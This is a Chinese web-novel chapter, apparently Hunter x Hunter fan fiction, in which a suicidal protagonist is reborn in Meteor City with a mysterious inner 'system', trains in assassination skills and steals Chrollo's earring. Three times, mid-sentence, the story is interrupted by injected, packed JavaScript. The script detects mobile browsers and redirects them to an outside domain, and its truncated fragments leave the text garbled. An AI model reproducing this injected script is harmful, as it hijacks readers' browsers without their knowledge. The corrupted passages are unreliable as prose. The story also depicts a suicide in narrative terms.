《我拱了揍敌客家的白菜》 1. 天降白菜 人生来就是一个人。 一个人出生,一个人成长,一个人死去。 程笑偶尔会想:既然如此,还有什么是真正重要的?所谓“重要”,不过是执念被自我无限放大后的幻象罢了。 他嗤笑一声,拍了拍裤子,从台阶上一跃而下,重新汇入街上的人潮。他继续讲起那些能让所有人发笑——哪怕笑完会暗自懊恼——的地狱笑话,语气轻佻,眉眼弯弯。 或许,只是或许,会有那么一瞬间,能遇到一个可以对上频率、接上“链接”的人呢? 有吗? ……有吗? …………有吗? 没有。 酒宴散场,程笑把自己扔进床里,盯着苍白的天花板。孤独。孤独不像风,也不像雾,它像潮水,无声地涨起来,淹没口鼻,灌进胸腔。 为什么?算了,没关系。 现在这样……不也挺好的?他试图这样安慰自己,直到那熟悉的、双向的焦虑如同海啸般轰然袭来,将他彻底击穿。 他的双手开始不受控制地颤抖,可他依然能对每一个前来关心的人,精准地扯出一个无懈可击的笑脸。 真该死…为什么我的大脑,连控制身体这种小事都做不好?为什么就不能分泌点随便什么玩意儿,让我的心脏(或者说是情绪)好过那么一点点? 他累了,是真的累到骨头缝里都透着倦怠。 他所取得的一切成就,不过是一场盛大的、对自我认同的卑微祈求。而当他的内心无法给予任何回馈时,他终于明白了——不是回馈的条件太过高昂,而是那个源泉本身,已经彻底枯竭了。 归根结底,是他自己不肯放过自己。习惯性的严苛和自省,早已断绝了通往内心安宁的路。他活得离经叛道,对世界的运行规则洞若观火,并能因此如鱼得水。但也正因看得太清,他才觉得这些规则(尤其是那些人情世故)空洞又可笑,纯粹是拿来刁难人的麻烦玩意儿。 他并非没有尝试过向外求救。但他逗笑的每一个人,无不是被他那层“万人迷”的光鲜表皮所吸引。他从未寻获一个灵魂的同类,反而还要强打精神,去应付那些“希望你好起来”的关怀——这简直比孤独本身更耗人。 各种情绪积压到临界点的那天,他选择了跳下去。不过,因为他骨子里到底是个恶劣的乐子人,所以在纵身之前,他还不忘cos了一把“金圣叹”,用一场荒诞的告别秀,暗戳戳地留下“哈,一切都太迟了”的嘲讽。 他就是觉得这世上明里暗里的笑脸藏刀太烦人了,这一切都毫无意义。这个被文明精心包装的世界,或许从来就不适合他。所以他选择了自主离开,像挣脱一张无形却缠人的巨网。 世界就是一张巨大的蛛网,每个人都是被黏在上面的飞虫,茫然地等待着名为“死亡”的蜘蛛某天随机地、不经意地爬过来,将自己吞噬。 他不自由。 那蛛丝(世俗的束缚、他人的期待,一切的一切)越缠越紧,勒得他喘不过气。 再次睁开眼,映入眼帘的是一片无垠的废墟,一直蔓延到天际。夕阳被染上一种令人不安的红绿色,诡异地悬挂在破碎的地平线上。 程笑坐起身,仔细地检查了自己的四肢和躯干,嘴角扯出一个嘲讽的弧度。 “啧,跳下来都没摔成一块一块的,我该不会是老天爷的亲孙子吧?” 他当然知道这不可能,但这并不妨碍他用这种口吻调侃自己的处境。花了不到十秒钟,他就坦然接受了自己穿越的事实。就在他以为不过是换了个地方继续受罪时,一个声音突兀地在他脑海中响起。 “你好。” “?”程笑的第一反应是自己的老毛病又升级了——从双向情感障碍直接快进到精神分裂。他忍不住在心里骂了一句:贼老天,穿越大礼包还买一送一是吧?连精神病都不放过? “不,我不是你分裂出的人格……”那声音似乎能捕捉他的思绪,尝试辩解道:“我是……” “哦?”程笑的语气瞬间带上了玩味的笑意,“那你难道是系统?老天爷终于想起我是他流落民间的亲孙子了?”他只觉得荒谬又好笑——一方面他鄙夷这种烂俗的网文套路,另一方面他根本不相信命运会对他有任何馈赠。“直说吧,你带着什么任务来的?总不可能是专程来给我当保姆的吧?” “……对。你可以称我为‘系统’。”那声音迟疑了片刻,最终还是承认了。“我的任务是……保证你的存活。” “?~”程笑恶劣地吹了个口哨,眼里闪烁着危险又兴奋的光:“这么爽?那是不是意味着我现在可以随便作死了?反正你会给我兜底?” “……”系统陷入了长久的沉默,仿佛在重新评估绑定对象的脑回路。“……强烈不建议您这样做。” “行吧~”程笑拖长了调子,无所谓地耸耸肩,“那系统,报个地图呗~这什么鬼地方?” “……根据环境扫描结果分析,此地大概率是……流星街。” “流星街?”程笑愣了一下,随即真正地笑出了声,笑声里带着一种近乎疯狂的认可:“有意思。我这是穿越到了……全职猎人的世界?” “……”系统没有再回应,沉默仿佛是一种默认。 “系统,”程笑忽然开口,语气轻快得像在讨论今天天气真好,“我想去找库洛洛·鲁西鲁玩。” “……什…什么?”系统的声音卡顿了一下,明显顿住了,仿佛被这突如其来的荒唐念头惊得忘了说话。,“你疯了?主动去找‘蜘蛛’的脑子?为什么?!” “嗯?早就听说他是这里的智商天花板了,”程笑歪了歪头,语气里带着显而易见、甚至有些夸张的说笑意味,但与他思维直接链接的系统清晰地读取到——这家伙是认真的,他甚至已经开始思考该从哪里入手打听了。“来都来了,不去会会多可惜啊。” 短短几句话的交流,已足够让这个寄宿于程笑意识中的“存在”大致摸清了他的性子:这是一个无法用常理揣度的狂徒,乐趣远比安危重要。 “………”明确的拒绝和警告大概率会立刻激起他强烈的逆反心理,到时候他绝对能干出立刻拔腿就去找蜘蛛的事儿。系统沉默了片刻,思绪飞快流转,最终选择了一种更迂回的方式,语气里甚至带上了一丝近乎劝诱的谨慎。 “并非不行,”系统的声音听起来平静,甚至有了几分附和的意味,但紧接着便抛出了现实的问题,“但你想过吗,以你现在这样,恐怕连靠近都做不到。”他的语气变得务实,带着点引导的意味,“至少,你需要先有能站稳脚跟的能力。否则一个照面就结束了,岂不是很无趣?” 听到这里,程笑的态度似乎略有松动。系统暗自松了口气,感觉劝阻的努力即将见效。正当他准备趁热打铁,进一步巩固这来之不易的理性时,程笑却突然话锋一转: “那……你有什么功法吗?”他兴致勃勃地问,仿佛在挑选货架上的商品。 “……什、什么?”系统被这跳跃的思维打了个措手不及,意识里充满了人性化的错愕,完全没跟上节奏。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526531|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “功法啊,修炼技巧什么的,我不挑的。”程笑开始如数家珍,“流星街的野路子?揍敌客家的暗杀术?或者尼特罗会长的‘百式观音’我也能勉强接受……” 看着程笑越说越起劲,系统彻底陷入了沉默。那是一种带着些许无力感的、属于“人”的沉默。 “我说……”程笑的语气带上了几分怀疑,“你该不会什么都没有吧?什么系统商城、积分兑换、新手大礼包……这些标配呢?”他狐疑地顿了顿,脑洞再次清奇地展开:“你难道真的不是我分裂出来的第二人格?仔细想想,你有时候的反应确实挺像个人的……” “有。”系统果断打断了程笑的危险揣测,阻止他再在这个方向上深入思考下去。“揍敌客的技艺,我知道一些。” “很好~”程笑满意地笑了,注意力果然被成功转移,“比起硬碰硬,潜行与技巧确实更对我的胃口。”他隐约察觉到了系统那一瞬间的打断有些生硬,但“揍敌客秘传”这几个字的诱惑力实在太大,他选择了暂时忽略那一点点不对劲。 几天后,一个普通的早晨。 “这个动作,关键是小腿肌肉发力,想象自己在踮着脚尖走路……”在“系统”的指导下,程笑很快开始了尝试。 他依言照做,动作倒是学得有模有样,只是嘴上一点也没闲着:“我说系统,我看别人家的小说里,不都是点一下‘学习’或者花点积分,‘唰’一下就会了吗?怎么到我这儿还得吭哧吭哧一步一步练啊?” “……”他脑中的那个意识沉默了一瞬。他并不完全理解程笑所说的“小说”和“积分”具体指什么,但他大致明白,这家伙是又想走捷径了。他开口,声音平稳却带着不容置疑的务实:“理论要点可以轻易传授,但真正的技巧并非理解了就能掌握。身体的记忆同样重要,甚至更为关键。” 他顿了顿,抛出一个方案,语气平淡却暗含深意:“如果你实在不愿亲自练习,我也可以暂时接管你的身体,通过重复动作来帮你形成‘肌肉记忆’。”他刻意停顿了一下,让接下来的话显得格外清晰:“只不过,这样一来,以后任何需要用到这些技巧的时刻,恐怕都离不开我的‘代劳’了。” 话里的意思再明白不过:前期不想吃苦,后期就休想自由掌控这份力量。 程笑挑了挑眉,显然听懂了这层交换条件。他扯了扯嘴角,像是觉得这规则有点意思,又像是放弃了无谓的挣扎:“好吧好吧,”他摆摆手,重新将注意力放回动作上,“自己练就自己练呗。” 夕阳很快沉入地平线,将流星街杂乱的天空染成一片昏黄。 程笑拖着酸痛不堪的身体,几乎是把自己摔进了那张简陋的床铺。这是一个由废弃小教堂改建而成的民间福利院,院长是位年过半百、面容慈祥却难掩疲惫的老婆婆,名叫玛莎。 这地方有些怪异——它并未保留教堂原有的任何宗教象征,没有十字架,也没有耶稣受难像。只是在厅堂尽头,立着一个不起眼的小小牌坊,上面刻着些模糊难辨的字迹。程笑对这一切毫无兴趣,他甚至懒得多看一眼。 他只是在心里,对着那个与他共享意识的“存在”大肆称赞了一番:“选得好啊!这临时安置点简直完美!”他是真心实意地把这里当成了某种“新手安全屋”,每天理所当然地早出晚归,将这里纯粹当作练习后休憩的客栈。 夜深人静,当程笑的意识彻底沉入睡眠深处后,另一股意识悄然浮现。 “系统”操纵着这具疲惫的身体,缓缓睁开了眼睛。 2. 离开新手村的第一件事当然是去调戏库洛洛! 夜色浓重,福利院内一片寂静。 “程笑”悄无声息地走出小屋,步入了空旷的大厅。那双睁开的眼睛里,流转着与平日截然不同的神采,瞳色似乎也更深沉了些。清冷的月光从破损的彩窗漏下,零星地照亮了厅堂尽头那座小小的牌坊,以及前面散落的、已经有些干枯的花瓣。 “你怎么在这里?”一个温和而略带沙哑的声音从走廊阴影处传来。玛莎婆婆端着一盏油灯,豆大的火苗在她满是皱纹的脸上跳跃。她看着站在大厅中央的“程笑”,眼中闪过一丝疑惑:“这么晚了,还不休息吗?” “……”‘系统’操控着身体,沉默地望向玛莎。一种莫名的熟悉感扑面而来,仿佛触及了某个被深埋的角落。可每当他想仔细捕捉这感觉的来源,一阵尖锐的刺痛便猛地窜过头部,阻止他深入探究。 他就这样怔怔地看着老妇人,一种难以言喻的酸楚毫无预兆地积聚在胸腔,沉甸甸的,堵得他几乎喘不过气。眼眶不受控制地发热,一种想要流泪的冲动让他感到陌生而无措。 “你的眼睛……”玛莎婆婆望着他,也微微愣了一下,像是透过这双眼睛看到了别的什么人,陷入了短暂的回忆。她随即像是明白了什么,语气变得更加柔和:“是对这个感到好奇吗?” 她显然误会了他的驻足。老人缓缓走上前,将油灯小心放在一旁,然后用那双布满老茧的手,极其轻柔地捧起那座小小的牌坊。她又从围裙口袋里摸出一块干净的软布,熟练而仔细地擦拭起来,动作带着一种经年累月的习惯。 “他是个好孩子,”玛莎的声音很轻,像怕惊扰了什么,“就像一只好不容易飞出巢穴,却还总惦记着往回衔枝的鸟儿。” “……”‘系统’沉默地听着,一滴温热的液体毫无征兆地滑落脸颊,砸在冰冷的地面上。 “虽然他……”玛莎的话音顿了顿,最终只是化作一声几不可闻的叹息。她小心翼翼地将牌坊放回原处,仿佛那是什么极易破碎的珍宝。“不过,这里的孩子们会记得他。永远记得。” 老人垂着眼睑,片刻后再抬起时,脸上已经恢复了平日那种历经风霜后的平静与慈祥。“不说这些往事了……托他的福,这片区域的‘官员’们确实收敛了很多。”她摇了摇头,似乎至今仍觉得不可思议,“虽然没人知道他是怎么做到的……但,这些现在都不重要了。” 她像是整理心情般拍了拍手:“活着的人总要继续往前走,逝去的人……但愿能得到安息。”她看向那座牌坊,目光温柔而坚定,带着一种纯粹的私心:“但我总觉得,‘凯’那样的孩子,就该上天堂——如果真有天堂的话。” ‘系统’顺着她的目光看去。清冷的月光恰好照亮了牌坊表面,上面歪歪扭扭却深刻地刻着一个名字—— 凯·希拉里昂。 那名字像一把钥匙,猛地撬动了他意识中某个被封死的区域,剧烈的刺痛再次袭来,比以往任何一次都要尖锐,几乎要撕裂什么。可与此同时,那股汹涌的、几乎要将他淹没的悲伤,却找到了唯一的归宿。 第二天清晨。 “系统……”程笑嘶嘶抽着冷气醒来,感觉全身骨头像被拆过一遍。他揉着酸痛不堪的肩膀,嘟囔道:“奇了怪了,我怎么感觉跟没睡一样?浑身乏得厉害,像是半夜被人拉出去扛了沙包。” “懈怠和为自己的懒惰寻找借口,是不可取的。”脑海里的声音一如既往的平稳,甚至带上了一点铁面无私的训导意味,“尤其在你正处于塑造肌肉记忆的关键阶段。任何松懈都可能导致前功尽弃。” “好吧好吧,你是教官你说得对。”程笑无奈地挠了挠头。指尖传来油腻腻的触感,流星街恶劣的环境让清洁成了奢侈,他感觉自己的头发都快结成一缕一缕了。 “不行,得加紧练习,”他甩甩头,试图把那种黏腻的不适感抛开,给自己打气,“早点变强,才能早点离开这个鬼地方。”这个动力来源虽然听起来有点离谱,但确实有效。 他重新投入到练习中。奇怪的是,尽管身体疲惫异常,但那些反复锤炼的动作却仿佛真的烙印在了肌肉深处。在大脑还没完全反应过来下一个动作要领时,他的身体已经流畅地、几乎本能地完成了衔接。 “哇!系统!我是不是个万中无一的习武奇才?”程笑忍不住在脑中雀跃起来,语调飞扬,带着一种近乎孩童讨要糖果般的急切,“这才多久?我感觉自己练一天抵别人十天!快说我是天才!” “……当然。”系统给出了肯定的回应。 这简单的两个字却像一根针,轻轻扎破了鼓胀的气球。程笑脸上那点鲜活的笑意瞬间凝固,然后以一种肉眼可见的速度垮塌下去,仿佛被某种无形的东西猛地拽入了冰冷深潭。 “…骗人。”他低声说,声音陡然变得干涩扁平,与方才的雀跃判若两人。他扯了扯嘴角,像是在笑,眼神却空茫茫地投向废墟的某处:“这算什么……差得远了……永远都差得远……肯定有‘谁’……轻而易举就能做到完美……” 那个“谁”模糊不清,并非某个具体的人,更像是一种盘踞在他内心深处的、苛责的幽灵,一个由无数否定和焦虑构建出的虚幻标杆。系统能感觉到,一种近乎病态的、自我贬低的癔想正沿着链接弥漫开来。 系统沉默着,并未试图触碰那片扭曲的阴影。反常地,他跳过了所有无用的安抚,语气像一块冷硬但平稳的岩石:“人外有人,天外有天,这是普遍规律。”他顿了顿,继续以那种不容置疑的客观口吻说道:“但基于现有观察,你的学习效率和身体协调性,显著高于平均基准。这是事实。” 程笑听着这完全剔除情感色彩、仅剩骨架的“认可”,那空洞的眼神忽然动了动。他突兀地发出一声短促的笑,不是高兴,更像是一种如释重负的怪异喘息。 对了。就是这样。终于不再是那些廉价的、“我懂你”的共情,也不是轻飘飘的、“你已经很棒”的敷衍。这种冰冷的、仅基于“事实”的评判,反而像一把精准的手术刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526532|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,暂时割断了他脑中那些自我纠缠的、癔想出的枷锁。 他感到一种扭曲的舒心,仿佛一直被迫蜷缩在狭小空间的肢体,终于被允许暴力地伸展一次,哪怕关节发出了不堪重负的声响。 “好了好了,”他耸了耸肩,动作幅度大得有些夸张,瞬间将刚才那片刻的阴郁癫狂甩在身后,语气再次变得轻快而跳脱,仿佛什么都没发生过:“加紧练习~!等老子能走出这鬼地方,第一件事就是去找个地方狠狠洗个澡!这头发都快能榨油了!” 日子在日复一日的锤炼中悄然流逝,几个月的时间一晃而过。训练显然取得了不小的成效。 不仅程笑逐渐感受到了对身体的精妙掌控——这是一种前所未有的、清晰而笃定的“主人”意识,仿佛每一块肌肉的收缩与舒展都在忠实地执行他的意志——与此同时,凭借每晚不间断的“加练”,系统也对这具躯壳的潜力和特性有了更深的把握。当然,这后半部分,程笑对此一无所知。 “系统!”程笑感受着身体前所未有的轻盈,像片羽毛般在废墟间灵活腾挪,忍不住得意地调侃起来:“以我现在的身手,是不是该有个响亮的称号了?比如……‘灵活的跳蚤’之类的?” “……”系统似乎被这个过于“别致”且毫不给自己贴金的称号提议给噎了一下,他头一次见到有人开玩笑都专挑这种名头往自己身上安。沉默片刻后,他才用一种近乎纵容的平板语调回应:“如果你坚持……那么它就可以是。” 训练小有所成后,程笑终于离开了那片熟悉的废墟,开始向着流星街更深处、也更边缘的地带探索,试图寻找离开的路径。 离开了好。系统在他脑海中默默思忖着。离开了这片区域,去了更广阔(或许也更安全)的外界,这个麻烦的绑定者大概就不会总惦记着去找那个危险的“库洛洛·鲁西鲁”了。 然而,天似乎总不遂人愿——尤其是系统的愿。 就在一片相对开阔、像是被巨大力量清扫过的垃圾广场边缘,程笑停下了脚步。 广场中央,一个身影背对着他。那人穿着一件深色的毛领大衣,黑色的发丝柔软地贴服着,正微微垂头,专注地看着手中一本厚实的、有着神秘十字印封的书籍。周围是废弃金属堆砌出的扭曲背景,夕阳将他身影拉得很长,与这绝望之地形成一种奇异而静谧的协调感。 尽管只是一个背影,但那种独特的气质——沉静、专注,以及无形中散发出的、与周遭环境格格不入的掌控感——让程笑几乎是瞬间就确定了对方的身份。 他心脏猛地一跳,不是出于恐惧,而是一种混合着极度兴奋和“果然如此”的荒谬感。他在脑中吹了一声无声的口哨。 ‘系统,’他用一种近乎欢快的语气在心里喊道,‘看!我说什么来着?缘分呐!’ 系统没有回话。如果系统有实体,大概此刻正在无声地捏紧眉心。 库洛洛·鲁西鲁似乎察觉到了身后的视线,合上书,缓缓转过身来。 3. 靠谱的外挂,你作死的保障! 程笑像是瞬间得到了某种无声的许可,或者说他根本不需要许可。他眼睛一亮,脸上绽开一种近乎天真的、极度兴奋的笑容,活像个见到了偶像的狂热小粉丝,毫不犹豫地就朝着那个身影小跑了过去。 系统在他脑海里彻底陷入了某种宕机状态。它看着程笑眼中闪烁的、几乎能实体化的“星星眼”,听着他嘴里开始倾泻而出华丽繁复、用词精准甚至带着咏叹调般的赞美诗——这些辞藻华丽得根本不像他平时那副懒散又带刺的样子,内容更是详尽得可怕,从蜘蛛某些极其隐秘的“战绩”细节到对库洛洛本人气质毫无底线(但角度清奇)的吹捧,滔滔不绝,如同瀑布奔流。 这简直是自寄生以来从未有过的、堪称惊悚的画面。系统大脑的运算几乎停滞,只能贫乏地感叹:……大开眼界。 而被如此热烈“告白”的对象——库洛洛·鲁西鲁,也确实感到了些许意外。蜘蛛的恶名在流星街内外都如雷贯耳,虽说确实可能存在一些……品味独特的崇拜者,但狂热到这种程度、且信息掌握得如此详尽的,实在罕见。 更让他留意的是眼前少年的状态。看外表不过十五六岁,按理说这个年纪的孩子应该在流星街的某个角落为了生存而挣扎或变得麻木,但对方却显然通过某种渠道对外界信息——尤其是关于幻影旅团的信息——有着超乎寻常的了解。否则,绝无可能如此熟知那些被刻意模糊或隐藏的“战绩”细节。 库洛洛合上了手中的书,那双深不见底的黑眸平静地落在程笑身上,没有打断,也没有回应,只是带着一丝不易察觉的审视和探究,静静地听着这出突兀而奇异的“个人颂歌”。 程笑的“表演”愈发高涨,尽管开场已经足够浮夸。他像是完全沉浸在了自己构建的狂热氛围里,嘴里滔滔不绝的赞美之词非但没有枯竭,反而愈发天花乱坠,同时辅以极其夸张的肢体动作,手舞足蹈,试图将每一个音节都注入澎湃的情感。 就在这看似失控的狂热达到顶峰,他大声表达出“我最大的梦想就是希望能加入你们!”的瞬间——两人的距离已被他悄无声息地拉近到一个极其危险的程度。 话音未落,异变陡生! 那原本挥舞着的手臂以肉眼难以捕捉的速度猛地探出,精准无比地揪下了库洛洛左耳垂上那枚造型独特的耳环!动作干净利落,甚至带着点轻佻的戏弄。 得手的一刹那,程笑脸上所有的狂热和兴奋如同潮水般褪去,瞬间切换成一种近乎狡黠的、计谋得逞的坏笑。 下一刻,他整个人如同鬼魅般向后弹射而出,速度快得只在空气中留下一道模糊的残影——完美诠释了他自封的那个称号“灵活的跳蚤”。几乎是眨眼之间,他的身影就已消失在层层叠叠的废墟阴影之后,仿佛从未出现过。 只留下原地,被突然夺走耳环的库洛洛·鲁西鲁。他依旧维持着原来的姿势,只是缓缓抬起手,指尖轻轻拂过空荡荡的耳垂。那双深黑的眼眸中,最初的讶异迅速沉淀下去,转而燃起一种冰冷而浓厚的、被意外挑起的探究欲。 库洛洛指尖轻轻拂过空荡荡的耳垂。那双深黑的眼眸中,最初的讶异迅速沉淀下去,转而燃起一种冰冷而浓厚的、被意外挑起的探究欲。 他确实是故意的。原本只是想看看这个表演浮夸到近乎“小丑”的人究竟有何目的——毕竟,很少有人能对幻影旅团高昂的赏金无动于衷。或许对方只是个不知天高地厚的新手,得意忘形之余,根本不清楚自己选中了何等危险的目标。 就在他将念力悄然集中于脖颈,准备应对可能的致命袭击时,却万万没料到,对方的目标竟仅仅是他一侧的耳环。 耳环? 呵。 库洛洛喉咙里溢出一声极轻的、意味不明的声响,像是愉悦的轻笑,又或许只是胸腔里一次混合着兴味的吐息。 总之,他动了。 身影如同鬼魅,悄无声息却又迅疾无比地朝着程笑消失的方向追去。 一方面,那耳环是“七大美色”之一水琉璃所制,是他库洛洛·鲁西鲁的所有物。他的东西,岂容他人轻易染指、随意摘取? 另一方面,他也的确被勾起了兴趣。他想看看这只胆大包天的“小丑”究竟藏着怎样的底牌。敢于以这种方式挑衅幻影旅团的头目,想必是自恃拥有某种有趣的后手吧。 如果没有…… 那就随意碾碎吧。 库洛洛这样想着,眼底掠过一丝冰冷而残酷的兴味。 一段令人窒息的追逐在流星街扭曲的垃圾迷宫中上演。 库洛洛如一道鬼魅的黑影,迅捷地穿过林立的废弃金属和杂物堆叠成的山峦,冲出一处狭窄的隘口。眼前豁然开朗,是一片毫无遮蔽物的开阔平地,视野极佳,足以让任何试图隐藏的身影无所遁形。 这里没有那个小偷的踪迹。 中计了。 这个念头浮现的瞬间,库洛洛没有丝毫犹豫,立刻转身折返。他冷静地审视着来路,大脑飞速回溯着刚才经过的每一个岔路口。 是什么时候布下的误导? 在一个不起眼的岔路口,他的目光再次捕捉到了一小块极其眼熟的布料碎片——与他几分钟前在另一个路口瞥见的几乎一模一样。 “……是这里吗?”库洛洛低声喃喃,脚步停驻。 用重复的假象来掩盖真正的路径……库洛洛唇角勾起一丝冰冷的弧度。看来这次遇到的小丑,并非只有浮夸的表演,脑子里还是有点东西的。 那么,自己也不能再仅仅遵循着“看见-追逐”这种最低效的模式了。追逐的最高本质,在于预判。在于思考“对方会藏在哪里”、“对方认为我会认为他藏在哪里”。 那么……以这位“小丑”展现出的、喜欢戏弄人且胆大包天的特性来看…… 库洛洛眼中的锐利光芒稍稍内敛,他反而不再急切,而是如同闲庭信步般,慢悠悠地在几个关键的岔路口之间散起了步,目光看似随意地扫过那些最适合藏匿、也最方便观察的阴影角落。 ———另一边———— “这家伙……怎么突然散起步来了?” 程笑小心翼翼地趴在一座垃圾山顶部,利用缝隙探出半个脑袋,疑惑地观察着下方突然变得悠闲的库洛洛。 不对劲,十分得有十二分的不对劲! 他在心里疯狂拉响警报:按照剧本,他现在应该像只被抢了蜂蜜的熊一样暴躁地四处乱撞才对啊?这悠闲得像是来垃圾堆里捡破烂的老大爷是什么鬼? 他皱了皱眉,迅速缩回隐藏处,后背紧贴着冰冷的金属废料,试图让自己冷静下来。 难道是对方放过自己了?这个念头刚冒出来就被他自己掐断。 不可能,绝对不可能!这又不是什么童话故事,他更不是什么圣母白莲花……我拿的可是‘七大美色’,是水琉璃!按照原著设定,他为了这玩意儿能追到天涯海角!怎么可能只追这么一小段? 难道是我的误导布条放得太多了?被他看穿了?不对啊,我明明计算过的,那两个路口足够逼真……还是说他其实是个路痴?噗—— 他被自己这个荒谬的想法逗得差点笑出声,又赶紧捂住嘴。 “系统系统!”他忍不住在脑海里呼叫,“快分析一下!这家伙脑子是不是有什么隐疾?比如追逐战中途必须散步才能补充能量之类的?” 系统一如既往地沉默着,拒绝参与他的脑内小剧场。 库洛洛那慢悠悠的脚步声仿佛就在附近徘徊,不紧不慢,却带着一种无形的压力,比疾风骤雨般的追击更让人心慌。 完了完了,程笑感到一阵莫名的委屈和焦躁。 这人不按套路出牌啊!我都准备好欣赏他气急败坏的样子了,他居然给我玩起了心理战?这算什么?高端局的降维打击吗?太欺负人了! 他正沉浸在百般苦恼和不着边际的吐槽中,几乎要为自己“出师未捷身先死”的乐子事业默哀时—— 一只修长的手,无声无息地从他身后的阴影中伸出,精准而轻柔地按在了他毫无防备的肩膀上。 温和的、带着一丝愉悦笑意的声音,如同耳语般在他身后响起: “找到你了。” 程笑的身体瞬间僵住。 ……干! 库洛洛的手搭在程笑肩上,力道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526533|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不重,却带着一种无法挣脱的、冰冷的掌控感。他感受到掌下身躯瞬间的僵硬,如同被捕食者钳制住的猎物,充满了无措的惊惶。 ……要完要完要完!乐子玩脱了! 程笑的大脑在尖叫,无数混乱的念头和不着边际的吐槽疯狂刷屏,却丝毫找不到任何破局之法。速度在绝对的洞察和预判面前失去了意义。 就在这彻底的绝望感淹没程笑的刹那——他意识中那个始终沉默的“系统”,基于最核心的需求(保证宿主存活),冷静地评估了现状:凭借程笑本人,逃生概率已无限趋近于零。 介入。 瞬间,库洛洛掌下的触感变了。 那剧烈的情绪波动如同被一刀切断般戛然而止。所有的惊惶、无措、乃至那份神经质的活跃尽数消失,被一种极致的、非人的冷静所取代。躯体的细微颤抖平息下来,仿佛刚才的一切只是拙劣的表演。 “库洛洛·鲁西鲁。” “程笑”开口了。声音依旧是那个声音,语调却平稳得没有一丝波澜,音色低沉而漠然,如同精密仪器在读数。 库洛洛眉梢微不可查地动了一下。他并没有松开手,但眼中的兴味悄然转变,从捕捉到猎物的愉悦,转向了对这突如其来、近乎诡异的“变质”的审视。 “你的目标只是夺回耳环,还是对开发这片‘废弃之地’更感兴趣?”‘程笑’没有回头,只是平静地发问,言语间直接跳过了所有无意义的交涉,直指核心。 库洛洛没有回答,但他沉默本身就是一种默许。他很好奇。 “流星街的面积约等于一个中等国家,拥有大量未被登记、也无法被常规手段追踪的劳动力。其混乱的表象□□系低效,内耗严重。”“程笑”语速平稳,如同在陈述一份冰冷的评估报告。 “幻影旅团的力量足以在此建立规则,但你们缺乏长期经营的耐心和细致的管理框架。掠夺带来的资源是不稳定的,而一个稳定的、可持续的、并能与外界某些渠道形成隐秘循环的供给基地,其长期价值远高于一次性的横财。” 他略微侧过头,眼神平静地扫过库洛洛,那目光仿佛能穿透一切浮华,直抵利益本质。 “东北方向的旧港口,地下管道系统相对完整,稍加修缮便可联通外界海域。南区的废弃工厂群地基稳固,是理想的初级加工场所。掌控这两处,再以‘提供秩序和保护’为名整合周边零散势力,便能形成一个集转运、粗加工、存储为一体的初级节点。” “至于外部商会,‘说服’他们接受优厚分成条款应是你们的专长。此举能为旅团提供稳定的物资、资金,并将根系更深地扎入流星街,获取更深层情报与人力。比单纯消耗更具战略意义。” 库洛洛静静地听着,眼底最初的冰冷和玩味早已被深沉的、锐利的评估所取代。这个方案……其内核与他过去某些模糊的想法不谋而合。他并非看不到可持续经营的好处,但旅团的成员们——包括他自己——往往更享受掠夺带来的即时快感和绝对支配感。那种方式更直接,更符合“蜘蛛”的习性。 相比之下,这种建设性的、需要耐心和细致管理的方案,虽然长期回报可能更丰厚,却显得过于“文明”也过于缓慢,因此始终被搁置在一旁。 此刻,这个方案被如此清晰、精准且极具操作性地重新提出,甚至补全了他曾未深思的细节。眼前这个存在对流星街的了解绝非表面,其思维模式中透露出的对资源的绝对理性判断、对效率的极致追求、以及那种近乎冷酷的实用主义……让他产生了强烈的兴趣。 几秒的沉寂后,库洛洛缓缓松开了手。 “很有趣的提议。”他开口,声音恢复了往常的温和优雅,但其中蕴含的分量却截然不同,“看来表象之下,藏着意想不到的深度。” 他打量着眼前气质迥异的“程笑”,目光最终落在那双毫无情绪波动的眼睛上。 “我对你这个‘存在’,以及你刚才所描绘的‘价值’,都产生了一些兴趣。”库洛洛微笑道,那笑容里带着一种主宰者衡量价值的残酷优雅,“临时团员。这个身份,你觉得如何?在你证明其价值,或者……失去价值之前。” 4. 另一种意义上的“裸奔” 系统操控下的“程笑”静静地站在原地,仿佛刚才提出那个宏大冷峻计划的人抽离了所有精力。他极轻地叹了口气,那叹息里带着一种难以言喻的疲惫——并非身体上的,更像是一种为保住绑定者这条小命而心力交瘁的无力感。 随即,他闭上了眼睛。 库洛洛敏锐地注意到,当那双眼睛再次睁开时,里面某种非人的、绝对理智的光彩瞬间褪去。深紫色的瞳孔(或许是光线错觉)变回了原本的深黑色,同时,一种熟悉又陌生的、跳脱而神经质的神采重新涌现。 